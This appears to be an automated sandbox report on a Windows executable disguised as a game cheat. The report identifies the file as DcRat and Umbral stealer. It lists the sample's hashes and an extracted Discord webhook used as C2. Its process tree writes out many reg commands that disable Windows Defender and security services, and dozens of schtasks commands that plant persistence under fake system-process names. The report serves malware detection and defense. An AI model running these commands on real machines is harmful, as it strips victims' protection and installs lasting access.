Overview

overview

10

Static

static

3

BBD6FFDB33...1F.exe

windows7-x64

10

BBD6FFDB33...1F.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    30-10-2024 07:41

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    BBD6FFDB33259778F08704696A04891F.exe

  • Size

    12.7MB

  • MD5

    bbd6ffdb33259778f08704696a04891f

  • SHA1

    0fd836bb4bfc035ff35ebe0fb47e4693cec9e8ba

  • SHA256

    841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4

  • SHA512

    1b66f11b3a3dea1e6a8f4f7ee493437a41e30704d1c80048efd245184a447fde6abf06fe45af0663a72b30b657a7297554df8c3af7b36ae2e0df21a5031a34e0

  • SSDEEP

    393216:2JlQ1evI2bs6Yuno3rkJ3InoKasOnHDJaM8X:2bQpgssCKInwjJaMc

Score
10/10
dcratumbraldefense_evasiondiscoveryevasioninfostealerpersistenceratstealertrojanvmprotect

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1266665187293794356/BgUJDQi9QXAA0avjRcAiy-uTUWdbVUSk8SQjon--JNjDxPP5bEhE6DLfJFghJ_KLSRhA

Signatures

  • DcRat 58 IoCs

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Dcrat family
    dcrat
  • Detect Umbral payload 2 IoCs
  • Modifies WinLogon for persistence 2 TTPs 19 IoCs
    persistence
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    evasion
  • Process spawned unexpected child process 57 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

    stealerumbral
  • Umbral family
    umbral
  • DCRat payload 4 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 8 IoCs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Adds Run key to start application 2 TTPs 36 IoCs
    persistence
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies Security services 2 TTPs 4 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Scheduled Task/Job: Scheduled Task 1 TTPs 57 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\BBD6FFDB33259778F08704696A04891F.exe
    "C:\Users\Admin\AppData\Local\Temp\BBD6FFDB33259778F08704696A04891F.exe"
    1⤵
    • DcRat
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1680
    • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe
      "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:2108
      • C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe
        "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2652
        • C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
          "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2172
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2268
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat" "
              6⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:2444
              • C:\blockweb\portrefNet.exe
                "C:\blockweb\portrefNet.exe"
                7⤵
                • Modifies WinLogon for persistence
                • Executes dropped EXE
                • Adds Run key to start application
                • Drops file in Program Files directory
                • Drops file in Windows directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:336
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\lOSdCwEz9c.bat"
                  8⤵
                    PID:528
                    • C:\Windows\system32\w32tm.exe
                      w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                      9⤵
                        PID:1932
                      • C:\blockweb\audiodg.exe
                        "C:\blockweb\audiodg.exe"
                        9⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2864
              • C:\Windows\SysWOW64\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\blockweb\file.vbs"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:1152
            • C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe
              "C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1208
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic.exe" csproduct get uuid
                5⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:908
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Users\Admin\AppData\Local\Temp\windows defender.bat" "
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2372
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1676
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2808
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2384
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2900
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
            3⤵
            • Modifies Windows Defender Real-time Protection settings
            • System Location Discovery: System Language Discovery
            PID:2712
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
            3⤵
            • Modifies Windows Defender Real-time Protection settings
            • System Location Discovery: System Language Discovery
            PID:856
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
            3⤵
            • Modifies Windows Defender Real-time Protection settings
            • System Location Discovery: System Language Discovery
            PID:2760
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
            3⤵
            • Modifies Windows Defender Real-time Protection settings
            • System Location Discovery: System Language Discovery
            PID:2748
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
            3⤵
            • Modifies Windows Defender Real-time Protection settings
            • System Location Discovery: System Language Discovery
            PID:2332
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2852
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2824
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2860
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2880
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2892
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2820
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2844
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2648
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2840
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1520
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1304
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:872
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1452
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1064
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1132
          • C:\Windows\SysWOW64\reg.exe
            reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2720
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
            3⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:900
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
            3⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:1896
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
            3⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:2600
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
            3⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:2868
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
            3⤵
            • Modifies security service
            • System Location Discovery: System Language Discovery
            PID:2928
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\smss.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1932
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\smss.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:884
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "smsss" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\smss.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2252
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 11 /tr "'C:\Program Files\Internet Explorer\images\winlogon.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2416
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files\Internet Explorer\images\winlogon.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:536
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 12 /tr "'C:\Program Files\Internet Explorer\images\winlogon.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2536
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 11 /tr "'C:\blockweb\spoolsv.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1676
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\blockweb\spoolsv.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2340
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 5 /tr "'C:\blockweb\spoolsv.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2712
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\SubsetList\WMIADAP.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2816
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WMIADAP" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\SubsetList\WMIADAP.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2860
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\SubsetList\WMIADAP.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2772
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\WMIADAP.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2828
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WMIADAP" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\WMIADAP.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2792
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\WMIADAP.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2616
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 14 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\WmiPrvSE.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2740
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\WmiPrvSE.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1900
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 6 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\WmiPrvSE.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2708
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "taskhostt" /sc MINUTE /mo 7 /tr "'C:\Program Files\7-Zip\Lang\taskhost.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3060
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "taskhost" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\taskhost.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2884
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "taskhostt" /sc MINUTE /mo 12 /tr "'C:\Program Files\7-Zip\Lang\taskhost.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2648
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\blockweb\lsass.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2132
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\blockweb\lsass.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2108
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 11 /tr "'C:\blockweb\lsass.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2948
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "portrefNetp" /sc MINUTE /mo 10 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\portrefNet.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1132
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "portrefNet" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\portrefNet.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1896
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "portrefNetp" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\portrefNet.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2920
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 8 /tr "'C:\Users\Default User\dllhost.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2716
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Users\Default User\dllhost.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2432
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\dllhost.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1664
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Sidebar\es-ES\WmiPrvSE.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2200
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\es-ES\WmiPrvSE.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2500
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Sidebar\es-ES\WmiPrvSE.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2112
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Journal\dwm.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2284
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Program Files\Windows Journal\dwm.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1572
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Journal\dwm.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1656
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 6 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\WmiPrvSE.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2548
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\WmiPrvSE.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2492
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\WmiPrvSE.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1320
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 13 /tr "'C:\blockweb\WMIADAP.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1884
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WMIADAP" /sc ONLOGON /tr "'C:\blockweb\WMIADAP.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2952
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "WMIADAPW" /sc MINUTE /mo 6 /tr "'C:\blockweb\WMIADAP.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2172
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 6 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\Idle.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1604
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\Idle.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1388
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 6 /tr "'C:\Recovery\18fc4542-69f6-11ef-a46c-62cb582c238c\Idle.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1780
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "lsml" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\lsm.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1912
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "lsm" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\lsm.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1032
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "lsml" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\lsm.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1068
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\blockweb\explorer.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1208
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\blockweb\explorer.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2352
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "explorere" /sc MINUTE /mo 5 /tr "'C:\blockweb\explorer.exe'" /rl HIGHEST /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2248
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "audiodga" /sc MINUTE /mo 14 /tr "'C:\blockweb\audiodg.exe'" /f
        1⤵
        • DcRat
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1504
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "audiodg" /sc ONLOGON /tr "'C:\blockweb\audiodg.exe'" /rl HIGHEST /f
        1⤵
